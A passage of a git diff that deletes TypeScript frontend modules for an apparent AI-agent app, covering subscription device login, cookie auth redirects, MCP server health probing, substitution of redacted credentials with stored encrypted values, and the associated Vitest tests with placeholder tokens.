normalizeDeviceChallenge( - raw: RawDeviceStart, -): LLMSubscriptionDeviceChallenge { - const deviceCode = readString(raw, ["device_code", "deviceCode"]); - const userCode = readString(raw, ["user_code", "userCode"]); - const verificationUri = readString(raw, [ - "verification_uri", - "verificationUri", - "verification_url", - "verificationUrl", - ]); - - if (!deviceCode || !userCode || !verificationUri) { - throw new Error("Subscription device login response is incomplete"); - } - - return { - deviceCode, - userCode, - verificationUri, - verificationUriComplete: readString(raw, [ - "verification_uri_complete", - "verificationUriComplete", - "verification_url_complete", - "verificationUrlComplete", - ]), - expiresAt: - readString(raw, ["expires_at", "expiresAt"]) ?? - readNumber(raw, ["expires_at", "expiresAt", "expires_in", "expiresIn"]), - intervalSeconds: readNumber(raw, [ - "interval", - "interval_seconds", - "intervalSeconds", - ]), - }; -} - -class LLMSubscriptionService { - static async getOpenAIModels(): Promise { - const response = await requestSubscriptionEndpoint( - OPENAI_SUBSCRIPTION_MODELS_PATH, - ); - return normalizeModels(response); - } - - static async getOpenAIStatus(): Promise { - const response = await requestSubscriptionEndpoint( - OPENAI_SUBSCRIPTION_STATUS_PATH, - ); - return normalizeStatus(response as RawSubscriptionStatus); - } - - static async startOpenAIDeviceLogin(): Promise { - const response = await requestSubscriptionEndpoint( - OPENAI_SUBSCRIPTION_DEVICE_START_PATH, - { method: "POST" }, - ); - return normalizeDeviceChallenge(response as RawDeviceStart); - } - - static async pollOpenAIDeviceLogin( - deviceCode: string, - ): Promise { - const response = await requestSubscriptionEndpoint( - OPENAI_SUBSCRIPTION_DEVICE_POLL_PATH, - { - method: "POST", - body: JSON.stringify({ device_code: deviceCode }), - }, - ); - return normalizeStatus(response as RawSubscriptionStatus); - } - - static async logoutOpenAI(): Promise { - const response = await requestSubscriptionEndpoint( - OPENAI_SUBSCRIPTION_LOGOUT_PATH, - { method: "POST" }, - ); - return normalizeStatus(response as RawSubscriptionStatus); - } -} - -export default LLMSubscriptionService; diff --git a/src/api/main-app-auth.ts b/src/api/main-app-auth.ts deleted file mode 100644 index e01ac3470..000000000 --- a/src/api/main-app-auth.ts +++ /dev/null @@ -1,50 +0,0 @@ -import axios from "axios"; -import { getLockedCloudAuthMode } from "./agent-server-config"; - -export const MAIN_APP_AUTHENTICATE_PATH = "/api/authenticate"; -export const MAIN_APP_LOGIN_PATH = "/login"; -export const MAIN_APP_LOGIN_REDIRECT_PARAM = "returnTo"; - -const LOCAL_BROWSER_HOSTNAMES = new Set(["localhost", "127.0.0.1", "::1"]); - -function getCurrentPathForRedirect(): string { - if (typeof window === "undefined") return "/"; - return `${window.location.pathname}${window.location.search}${window.location.hash}`; -} - -export function isLocalBrowserHost(): boolean { - if (typeof window === "undefined") return false; - return LOCAL_BROWSER_HOSTNAMES.has(window.location.hostname); -} - -export function shouldUseMainAppCookieAuth(): boolean { - return getLockedCloudAuthMode() === "cookie" && !isLocalBrowserHost(); -} - -export async function authenticateWithMainAppCookie(): Promise { - try { - await axios.post(MAIN_APP_AUTHENTICATE_PATH, null, { - withCredentials: true, - }); - return true; - } catch (error) { - if (axios.isAxiosError(error) && error.response?.status === 401) { - return false; - } - throw error; - } -} - -export function buildMainAppLoginRedirect( - redirectPath = getCurrentPathForRedirect(), -): string { - const params = new URLSearchParams({ - [MAIN_APP_LOGIN_REDIRECT_PARAM]: redirectPath, - }); - return `${MAIN_APP_LOGIN_PATH}?${params.toString()}`; -} - -export function redirectToMainAppLogin(): void { - if (typeof window === "undefined") return; - window.location.assign(buildMainAppLoginRedirect()); -} diff --git a/src/api/mcp-health/mcp-health-store.ts b/src/api/mcp-health/mcp-health-store.ts deleted file mode 100644 index a410305b4..000000000 --- a/src/api/mcp-health/mcp-health-store.ts +++ /dev/null @@ -1,79 +0,0 @@ -import type { McpServerHealth } from "#/types/mcp-health"; - -type Listener = () => void; - -export type McpHealthMap = Record; - -/** - * In-memory MCP connection-health store, keyed by - * `getMcpServerHealthKey(server)`. Mirrors the module-store shape of - * `#/api/backend-registry/health-store` but is deliberately NOT persisted: - * a health verdict is only as fresh as its probe, so a page reload resets - * every server to "unchecked" instead of resurrecting a possibly-stale - * "healthy". - */ -let healthMap: McpHealthMap = {}; -const listeners = new Set(); -let nextCheckId = 1; - -function commit(next: McpHealthMap): void { - healthMap = next; - listeners.forEach((listener) => listener()); -} - -export function getMcpHealthSnapshot(): McpHealthMap { - return healthMap; -} - -export function subscribeMcpHealth(listener: Listener): () => void { - listeners.add(listener); - return () => { - listeners.delete(listener); - }; -} - -/** Mark a probe as in flight and return its id for `resolveMcpHealthCheck`. */ -export function beginMcpHealthCheck(key: string): number { - const checkId = nextCheckId; - nextCheckId += 1; - commit({ ...healthMap, [key]: { status: "checking", checkId } }); - return checkId; -} - -/** - * Commit a probe result, but only while the entry is still the `checking` - * state that probe created. A slow older probe can never overwrite a newer - * probe's result, and a probe whose server was edited, deleted, or reseeded - * mid-flight (entry cleared or replaced) is silently dropped — a stale - * check can never land a false verdict. - */ -export function resolveMcpHealthCheck( - key: string, - checkId: number, - health: McpServerHealth, -): void { - const current = healthMap[key]; - if (current?.status !== "checking" || current.checkId !== checkId) { - return; - } - commit({ ...healthMap, [key]: health }); -} - -/** Unconditional write — used to seed health from a pre-save test result. */ -export function setMcpServerHealth(key: string, health: McpServerHealth): void { - commit({ ...healthMap, [key]: health }); -} - -/** Drop the entry (back to "unchecked") — used when a server changes or is deleted. */ -export function clearMcpServerHealth(key: string): void { - if (!(key in healthMap)) return; - const { [key]: _removed, ...rest } = healthMap; - commit(rest); -} - -/** Test-only: reset state and listeners. */ -export function __resetMcpHealthStoreForTests(): void { - healthMap = {}; - listeners.clear(); - nextCheckId = 1; -} diff --git a/src/api/mcp-health/probe-mcp-server-health.ts b/src/api/mcp-health/probe-mcp-server-health.ts deleted file mode 100644 index 0bff9a5b7..000000000 --- a/src/api/mcp-health/probe-mcp-server-health.ts +++ /dev/null @@ -1,135 +0,0 @@ -import McpService from "#/api/mcp-service/mcp-service.api"; -import type { McpServerHealth } from "#/types/mcp-health"; -import type { - ExtendedMCPTestResponse, - MCPServerConfig, -} from "#/types/mcp-server"; -import { getCredentialValidationForServer } from "#/utils/mcp-credential-validation"; -import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key"; -import { redactMcpSecrets } from "#/utils/redact-mcp-secrets"; -import { - beginMcpHealthCheck, - resolveMcpHealthCheck, - setMcpServerHealth, -} from "./mcp-health-store"; - -/** - * Conservative auth-failure sniffing for hosted servers that reject a bad - * token at the HTTP handshake: the backend can only classify those as - * `connection`/`unknown` (the MCP connection itself failed), but the - * guidance the user needs is the credentials one. - */ -const AUTH_FAILURE_TEXT = - /\b(401|403)\b|unauthorized|forbidden|invalid[ _-]?(token|credentials?|api[ _-]?key)/i; - -function failedHealth( - server: MCPServerConfig, - error: unknown, -): McpServerHealth { - const message = error instanceof Error ? error.message : String(error); - return { - status: "failed", - kind: "unknown", - error: redactMcpSecrets(message, server), - checkedAt: Date.now(), - }; -} - -/** - * Map a test/OAuth probe response (already secret-redacted and - * credential-interpreted by `McpService`) to a card health state. - * - * `verified` requires the catalog entry's read-only probe tool to have been - * advertised AND invoked without error; everything else that connected is - * `connectivity-only` — truthfully labeled, never silently upgraded. - */ -export function interpretMcpTestResponse( - server: MCPServerConfig, - response: ExtendedMCPTestResponse, -): McpServerHealth { - const checkedAt = Date.now(); - if (!response.ok) { - const kind = - (response.error_kind === "connection" || - response.error_kind === "unknown") && - AUTH_FAILURE_TEXT.test(response.error) - ? "credentials" - : response.error_kind; - return { status: "failed", kind, error: response.error, checkedAt }; - } - const validation = getCredentialValidationForServer(server); - const verified = - !!validation && - response.tools.includes(validation.toolCall.name) && - !!response.tool_result && - !response.tool_result.is_error; - return { - status: "healthy", - verification: verified ? "verified" : "connectivity-only", - toolCount: response.tools.length, - checkedAt, - }; -} - -/** Run the non-mutating connection probe and publish the result. */ -export async function probeMcpServerHealth( - server: MCPServerConfig, -): Promise { - const key = getMcpServerHealthKey(server); - const checkId = beginMcpHealthCheck(key); - let health: McpServerHealth; - try { - const response = await McpService.testServer(server); - health = interpretMcpTestResponse(server, response); - } catch (error) { - health = failedHealth(server, error); - } - resolveMcpHealthCheck(key, checkId, health); -} - -/** - * Run the interactive OAuth authorization probe and publish the result. - * Returns the raw response (null on transport error) so the caller can - * persist a refreshed `oauth_state`. - */ -export async function reauthorizeMcpServerHealth( - server: MCPServerConfig, -): Promise { - const key = getMcpServerHealthKey(server); - const checkId = beginMcpHealthCheck(key); - try { - const response = await McpService.authorizeOAuth(server); - resolveMcpHealthCheck( - key, - checkId, - interpretMcpTestResponse(server, response), - ); - return response; - } catch (error) { - resolveMcpHealthCheck(key, checkId, failedHealth(server, error)); - return null; - } -} - -/** - * Publish a just-saved server's health from the pre-save test result the - * install/edit flow already produced (same config, moments earlier), so its - * card shows a verdict immediately without a second probe. - * - * `otherServers` are the servers whose health must NOT be overwritten — - * callers pass the pre-save list, excluding the server being saved. When a - * same-shape duplicate exists (health keys exclude secret values, so two - * installs of one catalog entry can collide until the save suffixes the - * name), the seed is skipped and the new card simply starts "unchecked". - */ -export function seedMcpServerHealth( - server: MCPServerConfig, - response: ExtendedMCPTestResponse, - otherServers: MCPServerConfig[], -): void { - const key = getMcpServerHealthKey(server); - if (otherServers.some((other) => getMcpServerHealthKey(other) === key)) { - return; - } - setMcpServerHealth(key, interpretMcpTestResponse(server, response)); -} diff --git a/src/api/mcp-service/mcp-redacted-credentials.test.ts b/src/api/mcp-service/mcp-redacted-credentials.test.ts deleted file mode 100644 index 852e48371..000000000 --- a/src/api/mcp-service/mcp-redacted-credentials.test.ts +++ /dev/null @@ -1,181 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import SettingsService, { - type SettingsApiResponse, -} from "#/api/settings-service/settings-service.api"; -import { substituteRedactedMcpCredentials } from "./mcp-redacted-credentials"; -import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config"; - -describe("substituteRedactedMcpCredentials", () => { - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("preserves encrypted stdio env when the server is renamed", async () => { - // Regression: renaming a stdio server left a redacted env value unchanged, - // so the lookup by the new display name missed the stored entry and the - // literal redaction placeholder overwrote the stored encrypted secret. - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - "old-name": { - command: "npx", - env: { API_KEY: "gAAAAA-encrypted-api-key" }, - }, - }, - }, - } as unknown as SettingsApiResponse); - - const result = await substituteRedactedMcpCredentials({ - id: "stdio-0", - type: "stdio", - name: "new-name", - command: "npx", - env: { API_KEY: REDACTED_MCP_SECRET_VALUE }, - }); - - expect(result.env).toEqual({ API_KEY: "gAAAAA-encrypted-api-key" }); - expect(result.name).toBe("new-name"); - }); - - it("does not restore another server's secret when renamed onto an existing name", async () => { - // Renaming "alpha" onto "beta"'s name must still resolve alpha's stored - // entry by position, not beta's entry (which the name match would return). - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - alpha: { command: "npx", env: { TOKEN: "gAAAAA-alpha-token" } }, - beta: { command: "npx", env: { TOKEN: "gAAAAA-beta-token" } }, - }, - }, - } as unknown as SettingsApiResponse); - - const result = await substituteRedactedMcpCredentials({ - id: "stdio-0", - type: "stdio", - name: "beta", - command: "npx", - env: { TOKEN: REDACTED_MCP_SECRET_VALUE }, - }); - - expect(result.env).toEqual({ TOKEN: "gAAAAA-alpha-token" }); - }); - - it("leaves typed (non-redacted) env values untouched", async () => { - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - "my-server": { - command: "npx", - env: { API_KEY: "gAAAAA-encrypted", REGION: "us-east-1" }, - }, - }, - }, - } as unknown as SettingsApiResponse); - - const result = await substituteRedactedMcpCredentials({ - id: "stdio-0", - type: "stdio", - name: "my-server", - command: "npx", - env: { - API_KEY: REDACTED_MCP_SECRET_VALUE, - REGION: "eu-west-1", - }, - }); - - expect(result.env).toEqual({ - API_KEY: "gAAAAA-encrypted", - REGION: "eu-west-1", - }); - }); - - it("returns the server unchanged when no env value is redacted", async () => { - const server = { - id: "stdio-0", - type: "stdio" as const, - name: "my-server", - command: "npx", - env: { API_KEY: "plaintext" }, - }; - - const result = await substituteRedactedMcpCredentials(server); - - expect(result).toBe(server); - expect(SettingsService.fetchSettingsFromApi).not.toHaveBeenCalled(); - }); - - it("keeps the placeholder when the stored stdio entry is missing", async () => { - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { mcp_config: {} }, - } as unknown as SettingsApiResponse); - - const result = await substituteRedactedMcpCredentials({ - id: "stdio-0", - type: "stdio", - name: "new-name", - command: "npx", - env: { API_KEY: REDACTED_MCP_SECRET_VALUE }, - }); - - expect(result.env).toEqual({ API_KEY: REDACTED_MCP_SECRET_VALUE }); - }); - - it("replaces redacted OAuth state with the encrypted stored subtree", async () => { - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - agent_settings: { - mcp_config: { - "superhuman-mail": { - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - state: { - tokens: { - access_token: "gAAAAA-encrypted-access-token", - refresh_token: "gAAAAA-encrypted-refresh-token", - }, - client_info: { - client_id: "superhuman-client", - client_secret: "gAAAAA-encrypted-client-secret", - }, - }, - }, - }, - }, - }, - } as unknown as SettingsApiResponse); - - const result = await substituteRedactedMcpCredentials({ - id: "shttp-0", - type: "shttp", - name: "superhuman-mail", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - state: { - tokens: { - access_token: REDACTED_MCP_SECRET_VALUE, - refresh_token: REDACTED_MCP_SECRET_VALUE, - }, - client_info: { - client_id: "superhuman-client", - client_secret: REDACTED_MCP_SECRET_VALUE, - }, - }, - }, - }); - - expect(result.auth).toEqual({ - strategy: "oauth2", - state: { - tokens: { - access_token: "gAAAAA-encrypted-access-token", - refresh_token: "gAAAAA-encrypted-refresh-token", - }, - client_info: { - client_id: "superhuman-client", - client_secret: "gAAAAA-encrypted-client-secret", - }, - }, - }); - }); -}); diff --git a/src/api/mcp-service/mcp-redacted-credentials.ts b/src/api/mcp-service/mcp-redacted-credentials.ts deleted file mode 100644 index beb8f912b..000000000 --- a/src/api/mcp-service/mcp-redacted-credentials.ts +++ /dev/null @@ -1,157 +0,0 @@ -import SettingsService from "#/api/settings-service/settings-service.api"; -import { isMcpAuthCredential } from "#/types/mcp-auth"; -import type { MCPServerConfig } from "#/types/mcp-server"; -import { - hasRedactedMcpSecretLeaf, - REDACTED_MCP_SECRET_VALUE, -} from "#/utils/mcp-config"; - -type StoredMcpServer = { - url?: unknown; - transport?: unknown; - env?: unknown; - auth?: unknown; - headers?: unknown; -}; - -type StoredMcpConfig = Record; - -const isRecord = (value: unknown): value is Record => - !!value && typeof value === "object" && !Array.isArray(value); - -const stringRecord = (value: unknown): Record | undefined => { - if (!isRecord(value)) return undefined; - const entries = Object.entries(value).filter( - (entry): entry is [string, string] => typeof entry[1] === "string", - ); - return entries.length > 0 ? Object.fromEntries(entries) : undefined; -}; - -const hasRedactedValue = (values: Record | undefined) => - !!values && - Object.values(values).some((value) => value === REDACTED_MCP_SECRET_VALUE); - -const remoteTransportMatches = ( - type: MCPServerConfig["type"], - transport: unknown, -) => { - if (type === "sse") return transport === "sse"; - if (type === "shttp") { - return ( - transport === undefined || - transport === "http" || - transport === "shttp" || - transport === "streamable-http" - ); - } - return false; -}; - -// The editor assigns each stdio server an id of the form ``stdio-`` matching -// its position in ``parseMcpConfig``'s stdio array. That position is stable -// across a rename because ``parseMcpConfig`` collects stdio entries (those -// without a ``url``) in ``Object.entries`` order, identical for the redacted -// and encrypted settings. Resolve the original stored entry by position so a -// renamed stdio server still finds its stored encrypted env, instead of -// looking it up by the new (no-longer-matching) display name. -const stdioIndexFromId = (id: string | undefined): number | undefined => { - if (!id) return undefined; - const match = /^stdio-(\d+)$/.exec(id); - return match ? Number.parseInt(match[1], 10) : undefined; -}; - -const findStoredStdioByIndex = ( - id: string | undefined, - storedServers: StoredMcpConfig, -): StoredMcpServer | undefined => { - const index = stdioIndexFromId(id); - if (index === undefined) return undefined; - const stdioEntries = Object.entries(storedServers).filter( - ([, stored]) => !stored.url, - ); - return stdioEntries[index]?.[1]; -}; - -const findStoredServer = ( - server: MCPServerConfig, - storedServers: StoredMcpConfig, -): StoredMcpServer | undefined => { - if (server.type === "stdio") { - // Prefer the positional id: a rename changes the display name (the stored - // dict key), and a rename onto an existing name would otherwise restore the - // wrong server's secrets. Fall back to a name match only when no id-based - // position is available (e.g. configs built without an editor-assigned id). - return ( - findStoredStdioByIndex(server.id, storedServers) ?? - (server.name ? storedServers[server.name] : undefined) - ); - } - - if (server.name && storedServers[server.name]) { - return storedServers[server.name]; - } - - return Object.values(storedServers).find( - (stored) => - stored.url === server.url && - remoteTransportMatches(server.type, stored.transport), - ); -}; - -async function fetchEncryptedStoredServer( - server: MCPServerConfig, -): Promise { - const response = await SettingsService.fetchSettingsFromApi("encrypted"); - const mcpConfig = response.agent_settings?.mcp_config; - if (!isRecord(mcpConfig)) { - return undefined; - } - return findStoredServer(server, mcpConfig as StoredMcpConfig); -} - -/** - * The MCP editor sees redacted settings (`**********`). When the user leaves - * a secret unchanged, replace that placeholder with the stored encrypted - * env/header/OAuth state value so tests and saves round-trip the real - * credential without exposing plaintext in the browser. - */ -export async function substituteRedactedMcpCredentials( - server: MCPServerConfig, -): Promise { - const redactedStdioEnv = - server.type === "stdio" && hasRedactedValue(server.env); - const redactedRemoteAuth = - (server.type === "sse" || server.type === "shttp") && - hasRedactedMcpSecretLeaf(server.auth); - - if (!redactedStdioEnv && !redactedRemoteAuth) { - return server; - } - - try { - const stored = await fetchEncryptedStoredServer(server); - if (!stored) return server; - - if (redactedStdioEnv) { - const storedEnv = stringRecord(stored.env) ?? {}; - const env = Object.fromEntries( - Object.entries(server.env ?? {}).map(([key, value]) => [ - key, - value === REDACTED_MCP_SECRET_VALUE && - typeof storedEnv[key] === "string" - ? storedEnv[key] - : value, - ]), - ); - return { ...server, env }; - } - - if (!redactedRemoteAuth) return server; - if (isMcpAuthCredential(stored.auth)) { - return { ...server, auth: stored.auth }; - } - return server; - } catch { - return server; - } -} diff --git a/src/api/mcp-service/mcp-service.api.test.ts b/src/api/mcp-service/mcp-service.api.test.ts deleted file mode 100644 index 42d46ba66..000000000 --- a/src/api/mcp-service/mcp-service.api.test.ts +++ /dev/null @@ -1,238 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { MCPClient } from "@openhands/typescript-client/clients"; -import { - setActiveSelection, - setRegisteredBackends, -} from "../backend-registry/active-store"; -import SettingsService from "../settings-service/settings-service.api"; -import McpService from "./mcp-service.api"; -import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config"; - -vi.mock("@openhands/typescript-client/clients", () => ({ - MCPClient: vi.fn(), -})); - -const testServer = vi.fn(); -const startOAuth = vi.fn(); -const getOAuthStatus = vi.fn(); -const submitOAuthCallback = vi.fn(); -const close = vi.fn(); - -const encryptedAuth = "gAAAAAencrypted-auth"; - -describe("McpService.testServer", () => { - beforeEach(() => { - vi.clearAllMocks(); - setRegisteredBackends([ - { - id: "local", - name: "Local", - host: "http://127.0.0.1:8001", - apiKey: "session-key", - kind: "local", - }, - ]); - setActiveSelection({ backendId: "local", orgId: null }); - vi.mocked(MCPClient).mockImplementation(function MockMCPClient() { - return { - testServer, - startOAuth, - getOAuthStatus, - submitOAuthCallback, - close, - } as unknown as MCPClient; - } as unknown as typeof MCPClient); - testServer.mockResolvedValue({ ok: true, tools: [] }); - startOAuth.mockResolvedValue({ - ok: true, - job_id: "job-1", - authorization_url: "https://auth.example/authorize", - }); - getOAuthStatus.mockResolvedValue({ - ok: true, - status: "succeeded", - job_id: "job-1", - tools: ["search_mail"], - }); - submitOAuthCallback.mockResolvedValue({ - ok: true, - status: "succeeded", - job_id: "job-1", - tools: ["search_mail"], - }); - }); - - it("tests stored remote MCP credentials as encrypted auth, not redacted text", async () => { - vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({ - llm_api_key_is_set: false, - conversation_settings: {}, - agent_settings: { - mcp_config: { - linear: { - url: "https://mcp.linear.app/mcp", - transport: "http", - auth: { strategy: "bearer", value: encryptedAuth }, - }, - }, - }, - }); - - await McpService.testServer({ - id: "shttp-0", - type: "shttp", - name: "linear", - url: "https://mcp.linear.app/mcp", - auth: { strategy: "bearer", value: REDACTED_MCP_SECRET_VALUE }, - }); - - expect(SettingsService.fetchSettingsFromApi).toHaveBeenCalledWith( - "encrypted", - ); - expect(testServer).toHaveBeenCalledTimes(1); - expect(testServer.mock.calls[0][0]).toMatchObject({ - name: "linear", - server: { - transport: "http", - url: "https://mcp.linear.app/mcp", - auth: { strategy: "bearer", value: encryptedAuth }, - }, - }); - expect(testServer.mock.calls[0][0].server).not.toHaveProperty("api_key"); - expect(testServer.mock.calls[0][0].server).not.toHaveProperty("headers"); - expect(close).toHaveBeenCalledTimes(1); - }); - - it("forwards explicit OAuth authentication metadata to the MCP test endpoint", async () => { - await McpService.testServer({ - id: "shttp-0", - type: "shttp", - name: "superhuman-mail", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "none", - }, - state: { - tokens: { - access_token: "gAAAAexisting-access-token", - }, - }, - }, - }); - - expect(testServer).toHaveBeenCalledTimes(1); - expect(testServer.mock.calls[0][0]).toMatchObject({ - name: "superhuman-mail", - server: { - transport: "http", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "none", - }, - state: { - tokens: { - access_token: "gAAAAexisting-access-token", - }, - }, - }, - }, - timeout: 120, - }); - expect(close).toHaveBeenCalledTimes(1); - }); - - it("returns OAuth state captured by the MCP test endpoint", async () => { - testServer.mockResolvedValueOnce({ - ok: true, - tools: ["search_mail"], - oauth_state: { - tokens: { - access_token: "gAAAAencrypted-access-token", - }, - token_expires_at: 12345, - }, - }); - - const result = await McpService.testServer({ - id: "shttp-0", - type: "shttp", - name: "superhuman-mail", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "none", - }, - }, - }); - - expect(result.ok).toBe(true); - if (!result.ok) throw new Error("expected successful MCP test"); - expect(result.oauth_state).toMatchObject({ - tokens: { - access_token: "gAAAAencrypted-access-token", - }, - token_expires_at: 12345, - }); - }); - - it("starts OAuth through the TypeScript MCP client", async () => { - const result = await McpService.startOAuth({ - id: "shttp-0", - type: "shttp", - name: "superhuman-mail", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "none", - }, - }, - }); - - expect(result.job_id).toBe("job-1"); - expect(startOAuth).toHaveBeenCalledTimes(1); - expect(startOAuth.mock.calls[0][0]).toMatchObject({ - name: "superhuman-mail", - server: { - transport: "http", - url: "https://mcp.mail.superhuman.com/mcp", - auth: { - strategy: "oauth2", - authentication: { - type: "oauth", - client_auth_method: "none", - }, - }, - }, - timeout: 120, - }); - expect(close).toHaveBeenCalledTimes(1); - }); - - it("submits OAuth callback through the TypeScript MCP client", async () => { - await McpService.submitOAuthCallback( - "job/1", - "http://localhost:1234/callback?code=abc", - ); - - expect(submitOAuthCallback).toHaveBeenCalledWith("job/1", { - callback_url: "http://localhost:1234/callback?code=abc", - }); - expect(close).toHaveBeenCalledTimes(1); - }); - - it("gets OAuth status through the TypeScript MCP client", async () => { - await McpService.getOAuthStatus("job/1"); - - expect(getOAuthStatus).toHaveBeenCalledWith("job/1"); - expect(close).toHaveBeenCalledTimes(1); - }); -}); diff --git a/src/api/mcp-service/mcp-service.api.ts b/src/api/mcp-service/mcp-service.api.ts deleted file mode 100644 index 66ecd6027..000000000 --- a/src/api/mcp-service/mcp-service.api.ts +++ /dev/null @@ -1,357 +0,0 @@ -import { MCPClient } from "@openhands/typescript-client/clients"; -import type { MCPTestRequest } from "@openhands/typescript-client"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { - getActiveBackend, - getRegisteredBackends, -} from "../backend-registry/active-store"; -import { - getCredentialValidationForServer, - type CredentialValidation, -} from "#/utils/mcp-credential-validation"; -import type { MCPAuthCredential } from "#/types/mcp-auth"; -import type { - ExtendedMCPTestResponse, - MCPOAuthStartResponse, - MCPOAuthStatusResponse, - MCPServerConfig, -} from "#/types/mcp-server"; -import { redactMcpSecrets } from "#/utils/redact-mcp-secrets"; -import { substituteRedactedMcpCredentials } from "./mcp-redacted-credentials"; - -const OAUTH_MCP_TEST_TIMEOUT_SECONDS = 120; - -type MCPTestServer = { - transport?: "stdio" | "http" | "sse"; - command?: string; - args?: string[]; - env?: Record; - url?: string; - headers?: Record; - auth?: MCPAuthCredential; -}; - -interface ExtendedMCPTestRequest { - server: MCPTestServer; - name?: string; - timeout?: number; - tool_call?: { - name: string; - arguments: Record; - }; -} - -function toMcpServer(server: MCPServerConfig): MCPTestServer { - if (server.type === "stdio") { - return { - transport: "stdio", - command: server.command!, - ...(server.args?.length && { args: server.args }), - ...(server.env && - Object.keys(server.env).length > 0 && { env: server.env }), - }; - } - return { - transport: server.type === "sse" ? "sse" : "http", - url: server.url!, - ...(server.headers && - Object.keys(server.headers).length > 0 && { headers: server.headers }), - ...(server.auth ? { auth: server.auth } : {}), - }; -} - -function getMcpTestTimeout(server: MCPServerConfig): number | undefined { - if (server.auth?.strategy !== "oauth2") return server.timeout; - return OAUTH_MCP_TEST_TIMEOUT_SECONDS; -} - -async function buildMcpTestRequest(server: MCPServerConfig): Promise<{ - request: ExtendedMCPTestRequest; - substituted: MCPServerConfig; -}> { - const validation = getCredentialValidationForServer(server); - const substituted = await substituteRedactedMcpCredentials(server); - const serverSpec = toMcpServer(substituted); - const timeout = getMcpTestTimeout(server); - return { - request: { - server: serverSpec, - ...(server.name ? { name: server.name } : {}), - ...(timeout !== undefined ? { timeout } : {}), - ...(validation ? { tool_call: validation.toolCall } : {}), - }, - substituted, - }; -} - -function redactMcpTestResponse( - result: ExtendedMCPTestResponse, - redactionSources: (MCPServerConfig | undefined)[], -): ExtendedMCPTestResponse { - if (!result.ok) { - return { - ...result, - error: redactMcpSecrets(result.error, ...redactionSources), - }; - } - if (result.tool_result) { - return { - ...result, - tool_result: { - ...result.tool_result, - text: redactMcpSecrets(result.tool_result.text, ...redactionSources), - }, - }; - } - return result; -} - -/** - * Display-boundary post-processing shared by the test and OAuth probes: - * scrub secrets from error/tool-result text, then let the catalog entry's - * credential validation turn a failed read-only tool call into a - * `credentials` failure. The interpretation only runs when the probe tool - * is actually advertised in `tools` — a server variant that doesn't expose - * the tool (e.g. a hosted alternative to the stdio server the spec was - * written for) must degrade to a connectivity-only success, not be - * misreported as bad credentials. - */ -function finalizeMcpTestResponse( - result: ExtendedMCPTestResponse, - validation: CredentialValidation | undefined, - redactionSources: (MCPServerConfig | undefined)[], -): ExtendedMCPTestResponse { - const redacted = redactMcpTestResponse(result, redactionSources); - if ( - redacted.ok && - validation && - redacted.tool_result && - redacted.tools.includes(validation.toolCall.name) - ) { - const credentialError = validation.interpret(redacted.tool_result); - if (credentialError) { - return { - ok: false, - error: credentialError, - error_kind: "credentials", - }; - } - } - return redacted; -} - -function getMcpProbeOptions(): { host: string; apiKey?: string } { - const active = getActiveBackend().backend; - if (active.kind === "local") { - const { host, apiKey } = getAgentServerClientOptions(); - return { host, ...(apiKey ? { apiKey } : {}) }; - } - - const localBackend = getRegisteredBackends().find( - (backend) => backend.kind === "local" && backend.host, - ); - if (localBackend) { - return { - host: localBackend.host.replace(/\/+$/, ""), - ...(localBackend.apiKey ? { apiKey: localBackend.apiKey } : {}), - }; - } - throw new Error("OAuth authorization requires a reachable local backend."); -} - -function createMcpProbeClient(): MCPClient { - const { host, apiKey } = getMcpProbeOptions(); - return new MCPClient({ - host, - ...(apiKey ? { apiKey } : {}), - timeout: OAUTH_MCP_TEST_TIMEOUT_SECONDS * 1000 + 5000, - }); -} - -function oauthStatusToTestResponse( - status: MCPOAuthStatusResponse, -): ExtendedMCPTestResponse { - if (status.status === "succeeded") { - return { - ok: true, - tools: status.tools ?? [], - ...(status.tool_result !== undefined && { - tool_result: status.tool_result, - }), - ...(status.oauth_state !== undefined && { - oauth_state: status.oauth_state, - }), - }; - } - return { - ok: false, - error: status.error || "OAuth authorization did not complete", - error_kind: status.error_kind || "unknown", - }; -} - -const sleep = (ms: number) => - new Promise((resolve) => { - window.setTimeout(resolve, ms); - }); - -class McpService { - static async testServer( - server: MCPServerConfig, - ): Promise { - // The MCP connectivity-test endpoint lives on the local agent-server. It - // spawns the configured stdio command / opens an SSE-or-SHTTP connection - // from that process's environment. Cloud backends don't expose this - // endpoint to the frontend — the MCP server would actually run inside the - // cloud sandbox, which isn't reachable from the browser before the user - // starts a conversation. Calling `getAgentServerClientOptions()` here for - // a cloud-active session would throw `NoBackendAvailableError("No backend - // is configured.")` and block the install flow entirely. Short-circuit - // with a synthetic success so saving proceeds; any real connection - // failure surfaces inside the conversation runtime instead. - if (getActiveBackend().backend.kind === "cloud") { - return { ok: true, tools: [] }; - } - const validation = getCredentialValidationForServer(server); - const { host, apiKey } = getAgentServerClientOptions(); - const client = new MCPClient({ host, ...(apiKey ? { apiKey } : {}) }); - try { - const { request, substituted } = await buildMcpTestRequest(server); - const result = (await client.testServer( - request as MCPTestRequest, - )) as ExtendedMCPTestResponse; - // Redact against both config forms: `server` may hold fresh plaintext - // input, `substituted` the stored (encrypted) round-trip values. - return 